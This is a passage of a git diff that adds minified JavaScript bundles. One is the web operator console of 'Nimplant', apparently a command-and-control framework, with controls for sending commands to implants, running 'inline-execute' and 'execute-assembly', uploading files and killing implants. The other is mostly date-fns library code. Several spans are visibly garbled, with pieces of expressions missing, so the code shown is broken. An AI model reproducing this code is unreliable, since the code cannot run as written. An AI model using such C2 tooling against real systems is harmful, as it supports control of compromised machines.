target."}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsxs)(E.M,{cols:1,children:[(0,r.jsx)(j.S,{onChange:i,children:e=>(0,r.jsx)(c.z,{color:"gray",...e,children:l?"File: "+l.name:"Select file"})}),(0,r.jsx)(y.I,{placeholder:"Destination Path (optional)",value:a,onChange:e=>d(e.currentTarget.value)})]}),(0,r.jsx)(m.T,{h:"xl"}),(0,r.jsx)(c.z,{onClick:v,leftIcon:(0,r.jsx)(s.DUB,{}),sx:{width:"100%"},loading:h,children:"Upload"})]})},P=function(e){let{allowInput:n,consoleData:t,disabled:f,guid:g,inputFunction:m}=e,v=(0,d.a)("(min-width: 800px)"),j=(0,x.useRef)(),[y,C]=(0,x.useState)(!0),S=(0,h.P)(),[E,T]=(0,x.useState)([]),[b,P]=(0,x.useState)(!1),[F,O]=(0,x.useState)(""),[Z,B]=(0,x.useState)(0),[L,z]=(0,x.useState)(!1),[A,M]=(0,x.useState)(!1),[H,D]=(0,x.useState)(!1),{commandList:N,commandListLoading:K,commandListError:R}=(0,u.IZ)(),U=()=>{if(""===F)return[];var e=[];return K||R||(e=N.map(e=>e.command)),Object.keys(t).forEach(n=>{if(null!==t[n].taskFriendly){var r=t[n].taskFriendly;e.includes(r)||e.push(r)}}),e.filter(e=>e.startsWith(F)&&e!=F)},G=()=>{if(void 0!==m&&void 0!==g){if(0===E.length)P(!1);else if(b)return;"inline-execute"===F?z(!0):"execute-assembly"===F?M(!0):"upload"===F?D(!0):m(g,F),B(0),O("")}},W=e=>{let n=t.filter(e=>null!==e.taskFriendly),r=n.length;var o=Z+e;if(0!==r&&(n.some(e=>e.taskFriendly==F)||""===F)&&(0!==Z||1!==e)){if(0===Z&&-1===e&&(o=r),o<1)o=1;else if(o>r){B(0),O("");return}B(o),O(n[o-1].taskFriendly)}},Q=e=>{var n,t,r;(null===(n=j.current)||void 0===n?void 0:n.clientHeight)!==void 0&&(e.y+(null===(t=j.current)||void 0===t?void 0:t.clientHeight)===(null===(r=j.current)||void 0===r?void 0:r.scrollHeight)?C(!0):C(!1))},X=()=>{var e,n;null===(e=j.current)||void 0===e||e.scrollTo({top:null===(n=j.current)||void 0===n?void 0:n.scrollHeight,behavior:"smooth"})};return(0,x.useEffect)(()=>{y&&X()}),(0,x.useEffect)(()=>{T(U())},[F,K,t]),(0,r.jsxs)(o.K,{ml:v?"xl":"lg",mr:v?40:35,mt:"xl",spacing:"xs",sx:()=>({height:"calc(100vh - 275px)",display:"flex"}),children:[(0,r.jsx)(w,{modalOpen:L,setModalOpen:z,npGuid:g}),(0,r.jsx)(I,{modalOpen:A,setModalOpen:M,npGuid:g}),(0,r.jsx)(k,{modalOpen:H,setModalOpen:D,npGuid:g}),(0,r.jsx)(l.Z,{m:0,p:0,grow:!0,sx:e=>({fontSize:"14px",width:"100%",flex:"1",border:"1px solid",borderColor:e.colors.gray[4],borderRadius:"4px",minHeight:0}),children:(0,r.jsx)(i.x,{viewportRef:j,onScrollPositionChange:Q,sx:e=>({fontSize:v?"14px":"12px",padding:v?"14px":"6px",whiteSpace:"pre-wrap",fontFamily:"monospace",color:e.colors.gray[8],backgroundColor:e.colors.gray[0],height:"100%"}),children:t?(0,u.Ex)(t):"Loading..."})}),(0,r.jsxs)(l.Z,{hidden:!n,sx:()=>({flex:"0"}),children:[(0,r.jsx)(a.F,{data:E,disabled:f,icon:(0,r.jsx)(s.fF,{size:14}),onChange:O,onDropdownClose:()=>P(!1),onDropdownOpen:()=>P(!0),placeholder:f?"Nimplant is not active":"Type command here...",ref:S,switchDirectionOnFlip:!0,value:F,onKeyDown:(0,p.yr)([["Enter",G],["ArrowUp",()=>W(-1)],["ArrowDown",()=>W(1)]]),sx:()=>({flex:"1"})}),(0,r.jsx)(c.z,{disabled:f,onClick:G,children:"Run command"})]})]})}},3986:function(e,n,t){var r=t(5893),o=t(2623),l=t(7564),i=t(1232);n.Z=function(e){let{icon:n,content:t}=e;return(0,r.jsx)(o.X,{color:"blue",shadow:"sm",p:"md",withBorder:!0,sx:{height:"100%"},children:(0,r.jsxs)(l.K,{pl:5,align:"flex-start",justify:"space-evenly",spacing:"lg",sx:{height:"100%"},children:[(0,r.jsx)(i.Z,{sx:e=>({color:e.colors.gray[3]}),children:n}),(0,r.jsx)(i.Z,{sx:e=>({color:e.colors.gray[7]}),children:t})]})})}},315:function(e,n,t){var r=t(5893),o=t(2623),l=t(1232),i=t(9236);t(7294),n.Z=function(e){let{title:n,icon:t,noBorder:a=!1}=e;return(0,r.jsx)(r.Fragment,{children:(0,r.jsx)(o.X,{p:"xl",pl:50,m:-25,mb:a?0:"md",withBorder:!a,sx:e=>({height:"100px",backgroundColor:e.colors.gray[0]}),children:(0,r.jsxs)(l.Z,{children:[t," ",(0,r.jsx)(i.D,{order:1,children:n})]})})})}},4998:function(e,n,t){t.d(n,{Ex:function(){return b},IZ:function(){return d},L6:function(){return p},QL:function(){return y},S4:function(){return f},TW:function(){return g},VG:function(){return S},XP:function(){return v},Xe:function(){return k},ZS:function(){return T},a6:function(){return j},cT:function(){return C},i$:function(){return E},or:function(){return I},r5:function(){return x},td:function(){return w},uV:function(){return m},yb:function(){return h}});var r,o=t(3575),l=t(5592),i=t(9459),a=t(2647),c=t(9734),r=window.location.origin;let s={commands:"".concat(r,"/api/commands"),downloads:"".concat(r,"/api/downloads"),server:"".concat(r,"/api/server"),serverExit:"".concat(r,"/api/server/exit"),serverConsole:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1e3,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return"".concat(r,"/api/server/console/").concat(e,"/").concat(n)},upload:"".concat(r,"/api/upload"),nimplants:"".concat(r,"/api/nimplants"),nimplantInfo:e=>"".concat(r,"/api/nimplants/").concat(e),nimplantExit:e=>"".concat(r,"/api/nimplants/").concat(e,"/exit"),nimplantCommand:e=>"".concat(r,"/api/nimplants/").concat(e,"/command"),nimplantConsole:function(e){let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3,t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0;return"".concat(r,"/api/nimplants/").concat(e,"/console/").concat(n,"/").concat(t)},nimplantHistory:function(e){let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return arguments.length>2&&void 0!==arguments[2]&&arguments[2],"".concat(r,"/api/nimplants/").concat(e,"/history/").concat(n)}},u=async function(e,n){for(var t=arguments.length,r=Array(t>2?t-2:0),o=2;o0&&void 0!==arguments[0]?arguments[0]:5e3,{data:n,error:t}=(0,c.ZP)(s.serverConsole(e),u,{refreshInterval:5e3});return{serverConsole:n,serverConsoleLoading:!t&&!n,serverConsoleError:t}}function f(){let{data:e,error:n}=(0,c.ZP)(s.nimplants,u,{refreshInterval:2500});return{nimplants:e,nimplantsLoading:!n&&!e,nimplantsError:n}}function g(e){let{data:n,error:t}=(0,c.ZP)(s.nimplantInfo(e),u,{refreshInterval:5e3});return{nimplantInfo:n,nimplantInfoLoading:!t&&!n,nimplantInfoError:t}}function m(e){let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:5e3,{data:t,error:r}=(0,c.ZP)(s.nimplantConsole(e,n),u,{refreshInterval:1e3});return{nimplantConsole:t,nimplantConsoleLoading:!r&&!t,nimplantConsoleError:r}}function v(){fetch(s.serverExit,{method:"POST",headers:{"Content-Type":"application/json"}}).then(()=>{(0,o.c0)({title:"OK",message:"Server is shutting down",color:"green"})}).catch(()=>{(0,o.c0)({title:"Error",message:"Error shutting down server",color:"red"})})}function j(e){fetch(s.nimplantExit(e),{method:"POST",headers:{"Content-Type":"application/json"}}).then(()=>{(0,o.c0)({title:"OK",message:"Killing Nimplant",color:"green"})}).catch(()=>{(0,o.c0)({title:"Error",message:"Error killing Nimplant",color:"red"})})}function y(e,n){let t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:()=>{};fetch(s.nimplantCommand(e),{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({command:n})}).then(e=>{e.ok?((0,o.c0)({title:"OK",message:"Command '"+n.split(" ")[0]+"' submitted",color:"green"}),t()):(0,o.c0)({title:"Error",message:"Error sending command",color:"red"})})}function C(e){let n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:()=>{},t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:()=>{};if(e.size>5242880&&!confirm("The selected file is larger than 5MB, which may cause unpredictable behavior.\nAre you sure you want to continue?")){t();return}let r=new FormData;r.append("file",e),r.append("filename",e.name),fetch(s.upload,{method:"POST",body:r}).then(e=>{e.json().then(t=>{e.ok?((0,o.c0)({title:"OK",message:"File uploaded to server",color:"green"}),n(t.path)):(0,o.c0)({title:"Error",message:"Error uploading file",color:"red"})})})}function S(e){let n=(0,a.Z)(e,"dd/MM/yyyy HH:mm:ss",new Date);return(0,i.Z)(n,{includeSeconds:!0,addSuffix:!0})}function w(e){if(0===e)return"0 B";let n=Math.floor(Math.log(e)/Math.log(1024));return parseFloat((e/Math.pow(1024,n)).toFixed(1))+" "+["B","KB","MB","GB","TB","PB","EB","ZB","YB"][n]}function E(e){return(0,l.Z)(new Date(1e3*e),"yyyy/MM/dd HH:mm:ss")}function T(e){let n=e.config.listenerHost?e.config.listenerHost:e.config.listenerIp;var t=":".concat(e.config.listenerPort);return("HTTP"===e.config.listenerType&&80===e.config.listenerPort||"HTTPS"===e.config.listenerType&&443===e.config.listenerPort)&&(t=""),"".concat(e.config.listenerType.toLowerCase(),"://").concat(n).concat(t)}function b(e){for(var n="",t=0;t ").concat(e[t].taskFriendly,"\n")),n+="[".concat(e[t].resultTime,"] ").concat(e[t].result,"\n");return n}function I(){(0,o.c0)({id:"ConnErr",disallowClose:!0,autoClose:!1,title:"Connection error",message:"Trying to reconnect to Nimplant API server",color:"red",loading:!0})}function k(){(0,o.wD)({id:"ConnErr",color:"teal",title:"Connection restored",message:"Connection to the Nimplant API server was restored",autoClose:3e3})}}}]); \ No newline at end of file diff --git a/server/web/static/_next/static/chunks/673-f991f050544d182e.js b/server/web/static/_next/static/chunks/673-f991f050544d182e.js new file mode 100644 index 0000000..5565b0c --- /dev/null +++ b/server/web/static/_next/static/chunks/673-f991f050544d182e.js @@ -0,0 +1,9 @@ +"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[673],{2149:function(t,e,n){n.d(e,{Z:function(){return r}});function r(t,e){if(null==t)throw TypeError("assign requires that input parameter not be null or undefined");for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(t[n]=e[n]);return t}},6559:function(t,e,n){n.d(e,{Z:function(){return l}});var r,o={lessThanXSeconds:{one:"less than a second",other:"less than {{count}} seconds"},xSeconds:{one:"1 second",other:"{{count}} seconds"},halfAMinute:"half a minute",lessThanXMinutes:{one:"less than a minute",other:"less than {{count}} minutes"},xMinutes:{one:"1 minute",other:"{{count}} minutes"},aboutXHours:{one:"about 1 hour",other:"about {{count}} hours"},xHours:{one:"1 hour",other:"{{count}} hours"},xDays:{one:"1 day",other:"{{count}} days"},aboutXWeeks:{one:"about 1 week",other:"about {{count}} weeks"},xWeeks:{one:"1 week",other:"{{count}} weeks"},aboutXMonths:{one:"about 1 month",other:"about {{count}} months"},xMonths:{one:"1 month",other:"{{count}} months"},aboutXYears:{one:"about 1 year",other:"about {{count}} years"},xYears:{one:"1 year",other:"{{count}} years"},overXYears:{one:"over 1 year",other:"over {{count}} years"},almostXYears:{one:"almost 1 year",other:"almost {{count}} years"}};function i(t){return function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=e.width?String(e.width):t.defaultWidth;return t.formats[n]||t.formats[t.defaultWidth]}}var a={date:i({formats:{full:"EEEE, MMMM do, y",long:"MMMM do, y",medium:"MMM d, y",short:"MM/dd/yyyy"},defaultWidth:"full"}),time:i({formats:{full:"h:mm:ss a zzzz",long:"h:mm:ss a z",medium:"h:mm:ss a",short:"h:mm a"},defaultWidth:"full"}),dateTime:i({formats:{full:"{{date}} 'at' {{time}}",long:"{{date}} 'at' {{time}}",medium:"{{date}}, {{time}}",short:"{{date}}, {{time}}"},defaultWidth:"full"})},u={lastWeek:"'last' eeee 'at' p",yesterday:"'yesterday at' p",today:"'today at' p",tomorrow:"'tomorrow at' p",nextWeek:"eeee 'at' p",other:"P"};function c(t){return function(e,n){var r;if("formatting"===(null!=n&&n.context?String(n.context):"standalone")&&t.formattingValues){var o=t.defaultFormattingWidth||t.defaultWidth,i=null!=n&&n.width?String(n.width):o;r=t.formattingValues[i]||t.formattingValues[o]}else{var a=t.defaultWidth,u=null!=n&&n.width?String(n.width):t.defaultWidth;r=t.values[u]||t.values[a]}return r[t.argumentCallback?t.argumentCallback(e):e]}}function f(t){return function(e){var n,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=r.width,i=o&&t.matchPatterns[o]||t.matchPatterns[t.defaultMatchWidth],a=e.match(i);if(!a)return null;var u=a[0],c=o&&t.parsePatterns[o]||t.parsePatterns[t.defaultParseWidth],f=Array.isArray(c)?function(t,e){for(var n=0;n0?"in "+r:r+" ago":r},formatLong:a,formatRelative:function(t,e,n,r){return u[t]},localize:{ordinalNumber:function(t,e){var n=Number(t),r=n%100;if(r>20||r<10)switch(r%10){case 1:return n+"st";case 2:return n+"nd";case 3:return n+"rd"}return n+"th"},era:c({values:{narrow:["B","A"],abbreviated:["BC","AD"],wide:["Before Christ","Anno Domini"]},defaultWidth:"wide"}),quarter:c({values:{narrow:["1","2","3","4"],abbreviated:["Q1","Q2","Q3","Q4"],wide:["1st quarter","2nd quarter","3rd quarter","4th quarter"]},defaultWidth:"wide",argumentCallback:function(t){return t-1}}),month:c({values:{narrow:["J","F","M","A","M","J","J","A","S","O","N","D"],abbreviated:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],wide:["January","February","March","April","May","June","July","August","September","October","November","December"]},defaultWidth:"wide"}),day:c({values:{narrow:["S","M","T","W","T","F","S"],short:["Su","Mo","Tu","We","Th","Fr","Sa"],abbreviated:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],wide:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"]},defaultWidth:"wide"}),dayPeriod:c({values:{narrow:{am:"a",pm:"p",midnight:"mi",noon:"n",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"},abbreviated:{am:"AM",pm:"PM",midnight:"midnight",noon:"noon",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"},wide:{am:"a.m.",pm:"p.m.",midnight:"midnight",noon:"noon",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"}},defaultWidth:"wide",formattingValues:{narrow:{am:"a",pm:"p",midnight:"mi",noon:"n",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"},abbreviated:{am:"AM",pm:"PM",midnight:"midnight",noon:"noon",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"},wide:{am:"a.m.",pm:"p.m.",midnight:"midnight",noon:"noon",morning:"in the morning",afternoon:"in the afternoon",evening:"in the evening",night:"at night"}},defaultFormattingWidth:"wide"})},match:{ordinalNumber:(r={matchPattern:/^(\d+)(th|st|nd|rd)?/i,parsePattern:/\d+/i,valueCallback:function(t){return parseInt(t,10)}},function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=t.match(r.matchPattern);if(!n)return null;var o=n[0],i=t.match(r.parsePattern);if(!i)return null;var a=r.valueCallback?r.valueCallback(i[0]):i[0];return{value:a=e.valueCallback?e.valueCallback(a):a,rest:t.slice(o.length)}}),era:f({matchPatterns:{narrow:/^(b|a)/i,abbreviated:/^(b\.?\s?c\.?|b\.?\s?c\.?\s?e\.?|a\.?\s?d\.?|c\.?\s?e\.?)/i,wide:/^(before christ|before common era|anno domini|common era)/i},defaultMatchWidth:"wide",parsePatterns:{any:[/^b/i,/^(a|c)/i]},defaultParseWidth:"any"}),quarter:f({matchPatterns:{narrow:/^[1234]/i,abbreviated:/^q[1234]/i,wide:/^[1234](th|st|nd|rd)? quarter/i},defaultMatchWidth:"wide",parsePatterns:{any:[/1/i,/2/i,/3/i,/4/i]},defaultParseWidth:"any",valueCallback:function(t){return t+1}}),month:f({matchPatterns:{narrow:/^[jfmasond]/i,abbreviated:/^(jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)/i,wide:/^(january|february|march|april|may|june|july|august|september|october|november|december)/i},defaultMatchWidth:"wide",parsePatterns:{narrow:[/^j/i,/^f/i,/^m/i,/^a/i,/^m/i,/^j/i,/^j/i,/^a/i,/^s/i,/^o/i,/^n/i,/^d/i],any:[/^ja/i,/^f/i,/^mar/i,/^ap/i,/^may/i,/^jun/i,/^jul/i,/^au/i,/^s/i,/^o/i,/^n/i,/^d/i]},defaultParseWidth:"any"}),day:f({matchPatterns:{narrow:/^[smtwf]/i,short:/^(su|mo|tu|we|th|fr|sa)/i,abbreviated:/^(sun|mon|tue|wed|thu|fri|sat)/i,wide:/^(sunday|monday|tuesday|wednesday|thursday|friday|saturday)/i},defaultMatchWidth:"wide",parsePatterns:{narrow:[/^s/i,/^m/i,/^t/i,/^w/i,/^t/i,/^f/i,/^s/i],any:[/^su/i,/^m/i,/^tu/i,/^w/i,/^th/i,/^f/i,/^sa/i]},defaultParseWidth:"any"}),dayPeriod:f({matchPatterns:{narrow:/^(a|p|mi|n|(in the|at) (morning|afternoon|evening|night))/i,any:/^([ap]\.?\s?m\.?|midnight|noon|(in the|at) (morning|afternoon|evening|night))/i},defaultMatchWidth:"any",parsePatterns:{any:{am:/^a/i,pm:/^p/i,midnight:/^mi/i,noon:/^no/i,morning:/morning/i,afternoon:/afternoon/i,evening:/evening/i,night:/night/i}},defaultParseWidth:"any"})},options:{weekStartsOn:0,firstWeekContainsDate:1}}},4314:function(t,e,n){n.d(e,{j:function(){return o}});var r={};function o(){return r}},7621:function(t,e){var n=function(t,e){switch(t){case"P":return e.date({width:"short"});case"PP":return e.date({width:"medium"});case"PPP":return e.date({width:"long"});default:return e.date({width:"full"})}},r=function(t,e){switch(t){case"p":return e.time({width:"short"});case"pp":return e.time({width:"medium"});case"ppp":return e.time({width:"long"});default:return e.time({width:"full"})}};e.Z={p:r,P:function(t,e){var o,i=t.match(/(P+)(p+)?/)||[],a=i[1],u=i[2];if(!u)return n(t,e);switch(a){case"P":o=e.dateTime({width:"short"});break;case"PP":o=e.dateTime({width:"medium"});break;case"PPP":o=e.dateTime({width:"long"});break;default:o=e.dateTime({width:"full"})}return o.replace("{{date}}",n(a,e)).replace("{{time}}",r(u,e))}}},4262:function(t,e,n){n.d(e,{Z:function(){return r}});function r(t){var e=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate(),t.getHours(),t.getMinutes(),t.getSeconds(),t.getMilliseconds()));return e.setUTCFullYear(t.getFullYear()),t.getTime()-e.getTime()}},7032:function(t,e,n){n.d(e,{Z:function(){return a}});var r=n(9013),o=n(3882),i=n(6979);function a(t){(0,o.Z)(1,arguments);var e=(0,r.Z)(t),n=e.getUTCFullYear(),a=new Date(0);a.setUTCFullYear(n+1,0,4),a.setUTCHours(0,0,0,0);var u=(0,i.Z)(a),c=new Date(0);c.setUTCFullYear(n,0,4),c.setUTCHours(0,0,0,0);var f=(0,i.Z)(c);return e.getTime()>=u.getTime()?n+1:e.getTime()>=f.getTime()?n:n-1}},3276:function(t,e,n){n.d(e,{Z:function(){return u}});var r=n(9013),o=n(6979),i=n(7032),a=n(3882);function u(t){(0,a.Z)(1,arguments);var e=(0,r.Z)(t);return Math.round(((0,o.Z)(e).getTime()-(function(t){(0,a.Z)(1,arguments);var e=(0,i.Z)(t),n=new Date(0);return n.setUTCFullYear(e,0,4),n.setUTCHours(0,0,0,0),(0,o.Z)(n)})(e).getTime())/6048e5)+1}},7651:function(t,e,n){n.d(e,{Z:function(){return c}});var r=n(9013),o=n(3882),i=n(9025),a=n(3946),u=n(4314);function c(t,e){(0,o.Z)(1,arguments);var n,c,f,l,s,y,p,d,b=(0,r.Z)(t),h=b.getUTCFullYear(),v=(0,u.j)(),m=(0,a.Z)(null!==(n=null!==(c=null!==(f=null!==(l=null==e?void 0:e.firstWeekContainsDate)&&void 0!==l?l:null==e?void 0:null===(s=e.locale)||void 0===s?void 0:null===(y=s.options)||void 0===y?void 0:y.firstWeekContainsDate)&&void 0!==f?f:v.firstWeekContainsDate)&&void 0!==c?c:null===(p=v.locale)||void 0===p?void 0:null===(d=p.options)||void 0===d?void 0:d.firstWeekContainsDate)&&void 0!==n?n:1);if(!(m>=1&&m<=7))throw RangeError("firstWeekContainsDate must be between 1 and 7 inclusively");var g=new Date(0);g.setUTCFullYear(h+1,0,m),g.setUTCHours(0,0,0,0);var w=(0,i.Z)(g,e),O=new Date(0);O.setUTCFullYear(h,0,m),O.setUTCHours(0,0,0,0);var T=(0,i.Z)(O,e);return b.getTime()>=w.getTime()?h+1:b.getTime()>=T.getTime()?h:h-1}},5230:function(t,e,n){n.d(e,{Z:function(){return f}});var r=n(9013),o=n(9025),i=n(7651),a=n(3882),u=n(3946),c=n(4314);function f(t,e){(0,a.Z)(1,arguments);var n=(0,r.Z)(t);return Math.round(((0,o.Z)(n,e).getTime()-(function(t,e){(0,a.Z)(1,arguments);var n,r,f,l,s,y,p,d,b=(0,c.j)(),h=(0,u.Z)(null!==(n=null!==(r=null!==(f=null!==(l=null==e?void 0:e.firstWeekContainsDate)&&void 0!==l?l:null==e?void 0:null===(s=e.locale)||void 0===s?void 0:null===(y=s.options)||void 0===y?void 0:y.firstWeekContainsDate)&&void 0!==f?f:b.firstWeekContainsDate)&&void 0!==r?r:null===(p=b.locale)||void 0===p?void 0:null===(d=p.options)||void 0===d?void 0:d.firstWeekContainsDate)&&void 0!==n?n:1),v=(0,i.Z)(t,e),m=new Date(0);return m.setUTCFullYear(v,0,h),m.setUTCHours(0,0,0,0),(0,o.Z)(m,e)})(n,e).getTime())/6048e5)+1}},5267:function(t,e,n){n.d(e,{Do:function(){return a},Iu:function(){return i},qp:function(){return u}});var r=["D","DD"],o=["YY","YYYY"];function i(t){return -1!==r.indexOf(t)}function a(t){return -1!==o.indexOf(t)}function u(t,e,n){if("YYYY"===t)throw RangeError("Use `yyyy` instead of `YYYY` (in `".concat(e,"`) for formatting years to the input `").concat(n,"`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md"));if("YY"===t)throw RangeError("Use `yy` instead of `YY` (in `".concat(e,"`) for formatting years to the input `").concat(n,"`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md"));if("D"===t)throw RangeError("Use `d` instead of `D` (in `".concat(e,"`) for formatting days of the month to the input `").concat(n,"`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md"));if("DD"===t)throw RangeError("Use `dd` instead of `DD` (in `".concat(e,"`) for formatting days of the month to the input `").concat(n,"`; see: https://github.com/date-fns/date-fns/blob/master/docs/unicodeTokens.md"))}},3882:function(t,e,n){n.d(e,{Z:function(){return r}});function r(t,e){if(e.length1?"s":"")+" required, but only "+e.length+" present")}},6979:function(t,e,n){n.d(e,{Z:function(){return i}});var r=n(9013),o=n(3882);function i(t){(0,o.Z)(1,arguments);var e=(0,r.Z)(t),n=e.getUTCDay();return e.setUTCDate(e.getUTCDate()-((n<1?7:0)+n-1)),e.setUTCHours(0,0,0,0),e}},9025:function(t,e,n){n.d(e,{Z:function(){return u}});var r=n(9013),o=n(3882),i=n(3946),a=n(4314);function u(t,e){(0,o.Z)(1,arguments);var n,u,c,f,l,s,y,p,d=(0,a.j)(),b=(0,i.Z)(null!==(n=null!==(u=null!==(c=null!==(f=null==e?void 0:e.weekStartsOn)&&void 0!==f?f:null==e?void 0:null===(l=e.locale)||void 0===l?void 0:null===(s=l.options)||void 0===s?void 0:s.weekStartsOn)&&void 0!==c?c:d.weekStartsOn)&&void 0!==u?u:null===(y=d.locale)||void 0===y?void 0:null===(p=y.options)||void 0===p?void 0:p.weekStartsOn)&&void 0!==n?n:0);if(!(b>=0&&b<=6))throw RangeError("weekStartsOn must be between 0 and 6 inclusively");var h=(0,r.Z)(t),v=h.getUTCDay();return h.setUTCDate(h.getUTCDate()-((v0?1:a}var u={ceil:Math.ceil,round:Math.round,floor:Math.floor,trunc:function(t){return t<0?Math.ceil(t):Math.floor(t)}},c=n(6559),f=n(2149),l=n(4262);function s(t,e){return(0,i.Z)(1,arguments),function(t,e,n){(0,i.Z)(2,arguments);var s,y,p,d,b,h=(0,r.j)(),v=null!==(s=null!==(y=null==n?void 0:n.locale)&&void 0!==y?y:h.locale)&&void 0!==s?s:c.Z;if(!v.formatDistance)throw RangeError("locale must contain formatDistance property");var m=a(t,e);if(isNaN(m))throw RangeError("Invalid time value");var g=(0,f.Z)((0,f.Z)({},n),{addSuffix:Boolean(null==n?void 0:n.addSuffix),comparison:m});m>0?(p=(0,o.Z)(e),d=(0,o.Z)(t)):(p=(0,o.Z)(t),d=(0,o.Z)(e));var w=function(t,e,n){(0,i.Z)(2,arguments);var r,a=function(t,e){return(0,i.Z)(2,arguments),(0,o.Z)(t).getTime()-(0,o.Z)(e).getTime()}(t,e)/1e3;return((r=null==n?void 0:n.roundingMethod)?u[r]:u.trunc)(a)}(d,p),O=Math.round((w-((0,l.Z)(d)-(0,l.Z)(p))/1e3)/60);if(O<2){if(null!=n&&n.includeSeconds){if(w<5)return v.formatDistance("lessThanXSeconds",5,g);if(w<10)return v.formatDistance("lessThanXSeconds",10,g);if(w<20)return v.formatDistance("lessThanXSeconds",20,g);if(w<40)return v.formatDistance("halfAMinute",0,g);else if(w<60)return v.formatDistance("lessThanXMinutes",1,g);else return v.formatDistance("xMinutes",1,g)}return 0===O?v.formatDistance("lessThanXMinutes",1,g):v.formatDistance("xMinutes",O,g)}if(O<45)return v.formatDistance("xMinutes",O,g);if(O<90)return v.formatDistance("aboutXHours",1,g);if(O<1440)return v.formatDistance("aboutXHours",Math.round(O/60),g);if(O<2520)return v.formatDistance("xDays",1,g);if(O<43200)return v.formatDistance("xDays",Math.round(O/1440),g);if(O<86400)return b=Math.round(O/43200),v.formatDistance("aboutXMonths",b,g);if((b=function(t,e){(0,i.Z)(2,arguments);var n,r=(0,o.Z)(t),u=(0,o.Z)(e),c=a(r,u),f=Math.abs(function(t,e){(0,i.Z)(2,arguments);var n=(0,o.Z)(t),r=(0,o.Z)(e);return 12*(n.getFullYear()-r.getFullYear())+(n.getMonth()-r.getMonth())}(r,u));if(f<1)n=0;else{1===r.getMonth()&&r.getDate()>27&&r.setDate(30),r.setMonth(r.getMonth()-c*f);var l=a(r,u)===-c;(function(t){(0,i.Z)(1,arguments);var e=(0,o.Z)(t);return(function(t){(0,i.Z)(1,arguments);var e=(0,o.Z)(t);return e.setHours(23,59,59,999),e})(e).getTime()===(function(t){(0,i.Z)(1,arguments);var e=(0,o.Z)(t),n=e.getMonth();return e.setFullYear(e.getFullYear(),n+1,0),e.setHours(23,59,59,999),e})(e).getTime()})((0,o.Z)(t))&&1===f&&1===a(t,u)&&(l=!1),n=c*(f-Number(l))}return 0===n?0:n}(d,p))<12)return v.formatDistance("xMonths",Math.round(O/43200),g);var T=b%12,S=Math.floor(b/12);return T<3?v.formatDistance("aboutXYears",S,g):T<9?v.formatDistance("overXYears",S,g):v.formatDistance("almostXYears",S+1,g)}(t,Date.now(),e)}},5592:function(t,e,n){n.d(e,{Z:function(){return x}});var r=n(3882);function o(t){return(o="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var i=n(9013),a=n(2234),u=n(3276),c=n(7032),f=n(5230),l=n(7651);function s(t,e){for(var n=Math.abs(t).toString();n.length0?n:1-n;return s("yy"===e?r%100:r,e.length)},M:function(t,e){var n=t.getUTCMonth();return"M"===e?String(n+1):s(n+1,2)},d:function(t,e){return s(t.getUTCDate(),e.length)},a:function(t,e){var n=t.getUTCHours()/12>=1?"pm":"am";switch(e){case"a":case"aa":return n.toUpperCase();case"aaa":return n;case"aaaaa":return n[0];default:return"am"===n?"a.m.":"p.m."}},h:function(t,e){return s(t.getUTCHours()%12||12,e.length)},H:function(t,e){return s(t.getUTCHours(),e.length)},m:function(t,e){return s(t.getUTCMinutes(),e.length)},s:function(t,e){return s(t.getUTCSeconds(),e.length)},S:function(t,e){var n=e.length;return s(Math.floor(t.getUTCMilliseconds()*Math.pow(10,n-3)),e.length)}},p={am:"am",pm:"pm",midnight:"midnight",noon:"noon",morning:"morning",afternoon:"afternoon",evening:"evening",night:"night"};function d(t,e){var n=t>0?"-":"+",r=Math.abs(t),o=Math.floor(r/60),i=r%60;return 0===i?n+String(o):n+String(o)+(e||"")+s(i,2)}function b(t,e){return t%60==0?(t>0?"-":"+")+s(Math.abs(t)/60,2):h(t,e)}function h(t,e){var n=Math.abs(t);return(t>0?"-":"+")+s(Math.floor(n/60),2)+(e||"")+s(n%60,2)}var v={G:function(t,e,n){var r=t.getUTCFullYear()>0?1:0;switch(e){case"G":case"GG":case"GGG":return n.era(r,{width:"abbreviated"});case"GGGGG":return n.era(r,{width:"narrow"});default:return n.era(r,{width:"wide"})}},y:function(t,e,n){if("yo"===e){var r=t.getUTCFullYear();return n.ordinalNumber(r>0?r:1-r,{unit:"year"})}return y.y(t,e)},Y:function(t,e,n,r){var o=(0,l.Z)(t,r),i=o>0?o:1-o;return"YY"===e?s(i%100,2):"Yo"===e?n.ordinalNumber(i,{unit:"year"}):s(i,e.length)},R:function(t,e){return s((0,c.Z)(t),e.length)},u:function(t,e){return s(t.getUTCFullYear(),e.length)},Q:function(t,e,n){var 